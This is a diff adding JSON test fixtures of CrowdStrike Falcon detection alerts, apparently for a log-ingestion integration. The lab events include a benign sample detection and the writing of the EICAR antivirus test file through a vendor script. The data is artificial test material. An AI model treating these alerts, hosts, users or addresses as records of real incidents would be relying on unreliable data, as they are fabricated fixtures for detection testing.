+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "C:\\Windows\\Explorer.EXE",
+                "GrandparentImageFileName": "explorer.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\explorer.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "Objective": "Falcon Detection Method",
+                "ParentCommandLine": "\"C:\\Windows\\system32\\cmd.exe\" ",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10197,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 30,
+                "SeverityName": "Low",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Malware",
+                "Technique": "Malicious File",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:42950506623\",\"CommandLine\":\"choice  /m crowdstrike_sample_detection\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448\",\"DataDomains\":\"Endpoint\",\"Description\":\"For evaluation only - benign, no action needed.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:43438097407-10197-1874448?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"choice.exe\",\"FilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\choice.exe\",\"GrandParentCommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"GrandParentImageFileName\":\"explorer.exe\",\"GrandParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\explorer.exe\",\"HostGroups\":\"6b15afc3ea3a42ed810b5c163e490a9d\",\"Hostname\":\"dave-win10-3\",\"LocalIP\":\"10.0.0.13\",\"LocalIPv6\":\"\",\"LogonDomain\":\"dave-win10-3\",\"MACAddress\":\"ba-d0-00-ba-d0-00\",\"MD5String\":\"ce0219f7ab9077db1c089a48eaa82eb1\",\"Name\":\"Suspicious Activity\",\"Objective\":\"Falcon Detection Method\",\"ParentCommandLine\":\"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\" \",\"ParentImageFileName\":\"cmd.exe\",\"ParentImageFilePath\":\"\\\\Device\\\\HarddiskVolume4\\\\Windows\\\\System32\\\\cmd.exe\",\"ParentProcessId\":43425257674,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":10197,\"PlatformId\":\"0\",\"PlatformName\":\"Windows\",\"ProcessEndTime\":0,\"ProcessId\":43438097407,\"ProcessStartTime\":1752575318,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930\",\"Severity\":30,\"SeverityName\":\"Low\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Malware\",\"Technique\":\"Malicious File\",\"Type\":\"ldt\",\"UserName\":\"win10_user3\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "\\Device\\HarddiskVolume4\\Windows\\System32",
+                "hash": {
+                    "md5": "ce0219f7ab9077db1c089a48eaa82eb1",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930"
+                },
+                "name": "choice.exe",
+                "path": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe"
+            },
+            "host": {
+                "domain": "dave-win10-3",
+                "hostname": "dave-win10-3",
+                "mac": [
+                    "BA-D0-00-BA-D0-00"
+                ],
+                "name": "dave-win10-3"
+            },
+            "message": "For evaluation only - benign, no action needed.",
+            "process": {
+                "command_line": "choice  /m crowdstrike_sample_detection",
+                "end": "1970-01-01T00:00:00.000Z",
+                "entity_id": "43438097407",
+                "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\choice.exe",
+                "name": "choice.exe",
+                "parent": {
+                    "entity_id": "43425257674",
+                    "executable": "\\Device\\HarddiskVolume4\\Windows\\System32\\cmd.exe",
+                    "name": "cmd.exe"
+                },
+                "start": "2025-07-15T10:28:38.000Z"
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "a1eb4e497f40111f44a1dca4674ead06dce7ea37d6b8df5a84b5022bf4072930",
+                    "ce0219f7ab9077db1c089a48eaa82eb1"
+                ],
+                "hosts": [
+                    "dave-win10-3"
+                ],
+                "ip": [
+                    "10.0.0.13"
+                ],
+                "user": [
+                    "win10_user3"
+                ]
+            },
+            "rule": {
+                "description": "For evaluation only - benign, no action needed.",
+                "name": "Suspicious Activity"
+            },
+            "source": {
+                "address": "10.0.0.13",
+                "ip": "10.0.0.13"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "win10_user3"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "GrandparentCommandLine": "falcon-sensor-bpf",
+                "GrandparentImageFileName": "falcon-sensor-bpf17804",
+                "GrandparentImageFilePath": "/opt/CrowdStrike/falcon-sensor-bpf17804",
+                "HostGroups": [
+                    "5b2e67ccb1de4ac0b1c49225c8fcb132"
+                ],
+                "MACAddress": "52-54-00-58-b6-5e",
+                "Objective": "Follow Through",
+                "ParentCommandLine": "/bin/bash --noprofile --norc -c #!/bin/bash\n# SYNOPSIS\n#    Run a bash script with specified command line and timeout\n# DESCRIPTION\n#   CrowdStrike Real Time Response command\n# PARAMETER WD\n#    Current working directory\n# PARAMETER Param1\n#    Script body - Required\n# PARAMETER Param2\n#    Command line sent to script\n# PARAMETER Param3\n#    Local path - path to local file to be used as script body\n# PARAMETER Param4\n#    Timeout in seconds\n# NOTES\n#    File Name  : runscript.sh\n#    Contact    : support@crowdstrike.com\n#    Copyright  : CrowdStrike 2020\n# LINK\n#    https://www.crowdstrike.com/\n\nset -euo pipefail\nshopt -s extglob\n\ncommand=runscript\n\nfunction die\n{\n    echo \"$command: $1\" >&2\n    exit 1\n}\n\nfunction err_handler()\n{\n    # Rewrite the error message to remove the internal command prefix\n    echo \"$command:${1#*cat:}\" >&2\n}\ntrap 'err_handler \"$script\"' ERR\n\nfunction get_arg() {\n    eval set -- \"$1\"\n    echo \"$@\"\n}\n\nscript=\nif [ \"$#\" -ge 1 ]; then\n    script=\"$1\"\n    shift\nfi\n\nscript_args=\nif [ \"$#\" -ge 1 ]; then\n    script_args=\"$1\"\n    shift\nfi\n\n# following Windows behavior where HostPath clobbers Raw\nif [ \"$#\" -ge 1 ]; then\n    script_path=\"$(get_arg \"$1\")\"\n    if [ -n \"$script_path\" ]; then\n        script=\"$(/bin/cat \"$script_path\" 2>&1)\"\n    fi\n    shift\nfi\n\ntimeout=60\nif [ \"$#\" -ge 1 ]; then\n    if [ -n \"$1\" ]; then\n        timeout=\"$1\"\n    fi\n    shift\nfi\n\nif [ -z \"$script\" ]; then\n    die \"Either -Raw or -HostPath must be specified\"\nfi\n\nif [[ \"$timeout\" =~ .*[^0-9].* ]] || [ \"$timeout\" -eq 0 ]; then\n    die \"Timeout must be a positive integer\"\nfi\n\neval set -- \"$script_args\"\n/bin/bash -c \"$script\" /bin/bash \"$@\" &\npid=$!\n\nfunction get_time()\n{\n    sed -n '1s/\\([0-9]\\+\\)\\.\\([0-9][0-9]\\).*/\\1\\2/p' /proc/uptime\n}\n\nstart_time=$(get_time)\nlast_print_time=$start_time\nwait_interval=0.1\nprint_interval=5\nresolution=100\nwhile kill -0 $pid 2> /dev/null ; do\n    current_time=$(get_time)\n    if ((current_time - start_time >= timeout*resolution)); then\n        kill -9 $pid >/dev/null 2>&1\n        echo \"$command: Timed out waiting for script to exit\" >&2\n        kill -9 -$$ >/dev/null 2>&1\n    fi\n    if ((current_time - last_print_time >= print_interval*resolution)); then\n        printf %b '\\xe2\\x80\\x8b' # hex for unicode '\\u200b' for backward compatibility\n        last_print_time=$current_time\n    fi\n    /bin/sleep $wait_interval\ndone\n /bin/bash printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com         ",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 30195,
+                "PlatformId": "3",
+                "PlatformName": "Linux",
+                "SensorId": "1d58fa2265b540b79cd057e8fa798e4d",
+                "Severity": 10,
+                "SeverityName": "Informational",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Execution",
+                "Technique": "User Execution",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "1d58fa2265b540b79cd057e8fa798e4d"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"1d58fa2265b540b79cd057e8fa798e4d\",\"AggregateId\":\"aggind:1d58fa2265b540b79cd057e8fa798e4d:47245659364\",\"CommandLine\":\"/bin/bash -c printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com /bin/bash\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered process.\",\"FalconHostLink\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:1d58fa2265b540b79cd057e8fa798e4d:1751532935660926966-30195-323088?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK\",\"FileName\":\"bash\",\"FilePath\":\"/usr/bin/bash\",\"GrandParentCommandLine\":\"falcon-sensor-bpf\",\"GrandParentImageFileName\":\"falcon-sensor-bpf17804\",\"GrandParentImageFilePath\":\"/opt/CrowdStrike/falcon-sensor-bpf17804\",\"HostGroups\":\"5b2e67ccb1de4ac0b1c49225c8fcb132\",\"Hostname\":\"cs-elastic\",\"LocalIP\":\"192.168.64.5\",\"LocalIPv6\":\"\",\"LogonDomain\":\"\",\"MACAddress\":\"52-54-00-58-b6-5e\",\"MD5String\":\"21cdb844225f8dc4ea6e9f80f9940a2b\",\"Name\":\"Attacker Methodology\",\"Objective\":\"Follow Through\",\"ParentCommandLine\":\"/bin/bash --noprofile --norc -c #!/bin/bash\\n# SYNOPSIS\\n#    Run a bash script with specified command line and timeout\\n# DESCRIPTION\\n#   CrowdStrike Real Time Response command\\n# PARAMETER WD\\n#    Current working directory\\n# PARAMETER Param1\\n#    Script body - Required\\n# PARAMETER Param2\\n#    Command line sent to script\\n# PARAMETER Param3\\n#    Local path - path to local file to be used as script body\\n# PARAMETER Param4\\n#    Timeout in seconds\\n# NOTES\\n#    File Name  : runscript.sh\\n#    Contact    : support@crowdstrike.com\\n#    Copyright  : CrowdStrike 2020\\n# LINK\\n#    https://www.crowdstrike.com/\\n\\nset -euo pipefail\\nshopt -s extglob\\n\\ncommand=runscript\\n\\nfunction die\\n{\\n    echo \\\"$command: $1\\\" >&2\\n    exit 1\\n}\\n\\nfunction err_handler()\\n{\\n    # Rewrite the error message to remove the internal command prefix\\n    echo \\\"$command:${1#*cat:}\\\" >&2\\n}\\ntrap 'err_handler \\\"$script\\\"' ERR\\n\\nfunction get_arg() {\\n    eval set -- \\\"$1\\\"\\n    echo \\\"$@\\\"\\n}\\n\\nscript=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script=\\\"$1\\\"\\n    shift\\nfi\\n\\nscript_args=\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_args=\\\"$1\\\"\\n    shift\\nfi\\n\\n# following Windows behavior where HostPath clobbers Raw\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    script_path=\\\"$(get_arg \\\"$1\\\")\\\"\\n    if [ -n \\\"$script_path\\\" ]; then\\n        script=\\\"$(/bin/cat \\\"$script_path\\\" 2>&1)\\\"\\n    fi\\n    shift\\nfi\\n\\ntimeout=60\\nif [ \\\"$#\\\" -ge 1 ]; then\\n    if [ -n \\\"$1\\\" ]; then\\n        timeout=\\\"$1\\\"\\n    fi\\n    shift\\nfi\\n\\nif [ -z \\\"$script\\\" ]; then\\n    die \\\"Either -Raw or -HostPath must be specified\\\"\\nfi\\n\\nif [[ \\\"$timeout\\\" =~ .*[^0-9].* ]] || [ \\\"$timeout\\\" -eq 0 ]; then\\n    die \\\"Timeout must be a positive integer\\\"\\nfi\\n\\neval set -- \\\"$script_args\\\"\\n/bin/bash -c \\\"$script\\\" /bin/bash \\\"$@\\\" &\\npid=$!\\n\\nfunction get_time()\\n{\\n    sed -n '1s/\\\\([0-9]\\\\+\\\\)\\\\.\\\\([0-9][0-9]\\\\).*/\\\\1\\\\2/p' /proc/uptime\\n}\\n\\nstart_time=$(get_time)\\nlast_print_time=$start_time\\nwait_interval=0.1\\nprint_interval=5\\nresolution=100\\nwhile kill -0 $pid 2> /dev/null ; do\\n    current_time=$(get_time)\\n    if ((current_time - start_time >= timeout*resolution)); then\\n        kill -9 $pid >/dev/null 2>&1\\n        echo \\\"$command: Timed out waiting for script to exit\\\" >&2\\n        kill -9 -$$ >/dev/null 2>&1\\n    fi\\n    if ((current_time - last_print_time >= print_interval*resolution)); then\\n        printf %b '\\\\xe2\\\\x80\\\\x8b' # hex for unicode '\\\\u200b' for backward compatibility\\n        last_print_time=$current_time\\n    fi\\n    /bin/sleep $wait_interval\\ndone\\n /bin/bash printf \\\"X5O!P%%@AP[4\\\\\\\\PZX54(P^)7CC)7}\\\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\\\$H+H*\\\" > eicar.com         \",\"ParentImageFileName\":\"bash\",\"ParentImageFilePath\":\"/usr/bin/bash\",\"ParentProcessId\":1751532935654264600,\"PatternDispositionDescription\":\"Detection, standard detection.\",\"PatternDispositionFlags\":{\"BlockingUnsupportedOrDisabled\":false,\"BootupSafeguardEnabled\":false,\"ContainmentFileSystem\":false,\"CriticalProcessDisabled\":false,\"Detect\":false,\"FsOperationBlocked\":false,\"HandleOperationDowngraded\":false,\"InddetMask\":false,\"Indicator\":false,\"KillActionFailed\":false,\"KillParent\":false,\"KillProcess\":false,\"KillSubProcess\":false,\"OperationBlocked\":false,\"PolicyDisabled\":false,\"ProcessBlocked\":false,\"QuarantineFile\":false,\"QuarantineMachine\":false,\"RegistryOperationBlocked\":false,\"Rooting\":false,\"SensorOnly\":false,\"SuspendParent\":false,\"SuspendProcess\":false},\"PatternDispositionValue\":0,\"PatternId\":30195,\"PlatformId\":\"3\",\"PlatformName\":\"Linux\",\"ProcessEndTime\":1751532935,\"ProcessId\":1751532935660927000,\"ProcessStartTime\":1751532935,\"SHA1String\":\"0000000000000000000000000000000000000000\",\"SHA256String\":\"c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d\",\"Severity\":10,\"SeverityName\":\"Informational\",\"SourceProducts\":\"Falcon Insight\",\"SourceVendors\":\"CrowdStrike\",\"Tactic\":\"Execution\",\"Technique\":\"User Execution\",\"Type\":\"ldt\",\"UserName\":\"root\",\"ExternalApiType\":\"Event_EppDetectionSummaryEvent\"}",
+                "severity": 21,
+                "type": [
+                    "info"
+                ]
+            },
+            "file": {
+                "directory": "/usr/bin",
+                "hash": {
+                    "md5": "21cdb844225f8dc4ea6e9f80f9940a2b",
+                    "sha1": "0000000000000000000000000000000000000000",
+                    "sha256": "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d"
+                },
+                "name": "bash",
+                "path": "/usr/bin/bash"
+            },
+            "host": {
+                "hostname": "cs-elastic",
+                "mac": [
+                    "52-54-00-58-B6-5E"
+                ],
+                "name": "cs-elastic"
+            },
+            "message": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+            "process": {
+                "command_line": "/bin/bash -c printf \"X5O!P%%@AP[4\\\\PZX54(P^)7CC)7}\\$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!\\$H+H*\" > eicar.com /bin/bash",
+                "end": "2025-07-03T08:55:35.000Z",
+                "entity_id": "1751532935660927000",
+                "executable": "/usr/bin/bash",
+                "name": "bash",
+                "parent": {
+                    "entity_id": "1751532935654264600",
+                    "executable": "/usr/bin/bash",
+                    "name": "bash"
+                },
+                "start": "2025-07-03T08:55:35.000Z",
+                "uptime": 0
+            },
+            "related": {
+                "hash": [
+                    "0000000000000000000000000000000000000000",
+                    "c43e9716c26e88801364e80e997f986760f5d82b5649f9e149b164396dd08c3d",
+                    "21cdb844225f8dc4ea6e9f80f9940a2b"
+                ],
+                "hosts": [
+                    "cs-elastic"
+                ],
+                "ip": [
+                    "192.168.64.5"
+                ],
+                "user": [
+                    "root"
+                ]
+            },
+            "rule": {
+                "description": "A process has written a known EICAR test file. Review the files written by the triggered process.",
+                "name": "Attacker Methodology"
+            },
+            "source": {
+                "address": "192.168.64.5",
+                "ip": "192.168.64.5"
+            },
+            "tags": [
+                "preserve_original_event"
+            ],
+            "user": {
+                "name": "root"
+            }
+        },
+        {
+            "@timestamp": "2020-04-28T11:07:58.223Z",
+            "crowdstrike": {
+                "AggregateId": "aggind:cff45d56127743a593792fb968dac907:38655211725",
+                "CompositeId": "e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320",
+                "DataDomains": "Endpoint",
+                "ExternalApiType": "Event_EppDetectionSummaryEvent",
+                "FalconHostLink": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320?_cid=NTdmNWVjYzZmYzM0NDYyZTg4NGRiN2NmZjkzYzE5YWMK",
+                "FilesAccessed": [
+                    {
+                        "FileName": "eicarcom2.zip",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads",
+                        "Timestamp": "2025-07-01T12:10:30.000Z"
+                    },
+                    {
+                        "FileName": "thumbcache_16.db",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                        "Timestamp": "2025-07-01T12:10:30.000Z"
+                    },
+                    {
+                        "FileName": "eicar_com.zip",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                        "Timestamp": "2025-07-01T12:10:30.000Z"
+                    },
+                    {
+                        "FileName": "thumbcache_idx.db",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                        "Timestamp": "2025-07-01T12:10:30.000Z"
+                    },
+                    {
+                        "FileName": "GLEAM-LIGHT.svg",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                        "Timestamp": "2025-07-01T12:10:35.000Z"
+                    },
+                    {
+                        "FileName": "GLEAM-DARK.svg",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Packages\\Microsoft.Windows.Search_cw5n1h2txyewy\\LocalState\\ShellFeeds",
+                        "Timestamp": "2025-07-01T12:10:35.000Z"
+                    },
+                    {
+                        "FileName": "eicar_com.zip",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                        "Timestamp": "2025-07-01T12:10:41.000Z"
+                    },
+                    {
+                        "FileName": "eicar_com.zip",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                        "Timestamp": "2025-07-01T12:10:42.000Z"
+                    },
+                    {
+                        "FileName": "eicar_com.zip",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2",
+                        "Timestamp": "2025-07-01T12:10:43.000Z"
+                    },
+                    {
+                        "FileName": "iconcache_16.db",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Local\\Microsoft\\Windows\\Explorer",
+                        "Timestamp": "2025-07-01T12:10:43.000Z"
+                    }
+                ],
+                "FilesWritten": [
+                    {
+                        "FileName": "eicar.com",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com",
+                        "Timestamp": "2025-07-01T12:10:43.000Z"
+                    },
+                    {
+                        "FileName": "The Internet.lnk",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                        "Timestamp": "2025-07-01T12:07:38.000Z"
+                    },
+                    {
+                        "FileName": "windowsdefender--threat-.lnk",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                        "Timestamp": "2025-07-01T12:07:38.000Z"
+                    },
+                    {
+                        "FileName": "The Internet.lnk",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                        "Timestamp": "2025-07-01T12:09:04.000Z"
+                    },
+                    {
+                        "FileName": "windowsdefender--threat-.lnk",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                        "Timestamp": "2025-07-01T12:09:04.000Z"
+                    },
+                    {
+                        "FileName": "https--go.microsoft.com-fwlink-linkid=142185&name=ToolWin32-EICAR_Test_File&threatid=17463.lnk",
+                        "FilePath": "\\Device\\HarddiskVolume4\\Users\\win10_user3\\AppData\\Roaming\\Microsoft\\Windows\\Recent",
+                        "Timestamp": "2025-07-01T12:09:21.000Z"
+                    }
+                ],
+                "GrandparentCommandLine": "winlogon.exe",
+                "GrandparentImageFileName": "winlogon.exe",
+                "GrandparentImageFilePath": "\\Device\\HarddiskVolume4\\Windows\\System32\\winlogon.exe",
+                "HostGroups": [
+                    "6b15afc3ea3a42ed810b5c163e490a9d"
+                ],
+                "MACAddress": "ba-d0-00-ba-d0-00",
+                "NetworkAccesses": [
+                    {
+                        "AccessTimestamp": 1751371565,
+                        "AccessType": 0,
+                        "ConnectionDirection": 0,
+                        "IsIPV6": false,
+                        "LocalAddress": "10.0.0.13",
+                        "LocalPort": 49729,
+                        "Protocol": "TCP",
+                        "RemoteAddress": "150.171.27.12",
+                        "RemotePort": 443
+                    },
+                    {
+                        "AccessTimestamp": 1751371565,
+                        "AccessType": 0,
+                        "ConnectionDirection": 0,
+                        "IsIPV6": false,
+                        "LocalAddress": "10.0.0.13",
+                        "LocalPort": 49730,
+                        "Protocol": "TCP",
+                        "RemoteAddress": "2.22.144.74",
+                        "RemotePort": 443
+                    },
+                    {
+                        "AccessTimestamp": 1751371787,
+                        "AccessType": 0,
+                        "ConnectionDirection": 0,
+                        "IsIPV6": false,
+                        "LocalAddress": "10.0.0.13",
+                        "LocalPort": 49948,
+                        "Protocol": "TCP",
+                        "RemoteAddress": "2.18.27.89",
+                        "RemotePort": 443
+                    }
+                ],
+                "Objective": "Follow Through",
+                "ParentCommandLine": "C:\\Windows\\system32\\userinit.exe",
+                "PatternDispositionDescription": "Detection, standard detection.",
+                "PatternDispositionFlags": {
+                    "BlockingUnsupportedOrDisabled": false,
+                    "BootupSafeguardEnabled": false,
+                    "ContainmentFileSystem": false,
+                    "CriticalProcessDisabled": false,
+                    "Detect": false,
+                    "FsOperationBlocked": false,
+                    "HandleOperationDowngraded": false,
+                    "InddetMask": false,
+                    "Indicator": false,
+                    "KillActionFailed": false,
+                    "KillParent": false,
+                    "KillProcess": false,
+                    "KillSubProcess": false,
+                    "OperationBlocked": false,
+                    "PolicyDisabled": false,
+                    "ProcessBlocked": false,
+                    "QuarantineFile": false,
+                    "QuarantineMachine": false,
+                    "RegistryOperationBlocked": false,
+                    "Rooting": false,
+                    "SensorOnly": false,
+                    "SuspendParent": false,
+                    "SuspendProcess": false
+                },
+                "PatternDispositionValue": 0,
+                "PatternId": 10418,
+                "PlatformId": "0",
+                "PlatformName": "Windows",
+                "ReferrerUrl": "C:\\Users\\win10_user3\\Downloads\\eicarcom2\\eicar_com.zip",
+                "SensorId": "cff45d56127743a593792fb968dac907",
+                "Severity": 10,
+                "SeverityName": "Informational",
+                "SourceProducts": "Falcon Insight",
+                "SourceVendors": "CrowdStrike",
+                "Tactic": "Execution",
+                "Technique": "User Execution",
+                "Type": "ldt"
+            },
+            "device": {
+                "id": "cff45d56127743a593792fb968dac907"
+            },
+            "event": {
+                "category": [
+                    "malware"
+                ],
+                "kind": "alert",
+                "original": "{\"AgentId\":\"cff45d56127743a593792fb968dac907\",\"AggregateId\":\"aggind:cff45d56127743a593792fb968dac907:38655211725\",\"CommandLine\":\"C:\\\\Windows\\\\Explorer.EXE\",\"CompositeId\":\"e880572ce33c42458b31e0dd368497fc:ind:cff45d56127743a593792fb968dac907:38850874557-10418-770320\",\"DataDomains\":\"Endpoint\",\"Description\":\"A process has written a known EICAR test file. Review the files written by the triggered 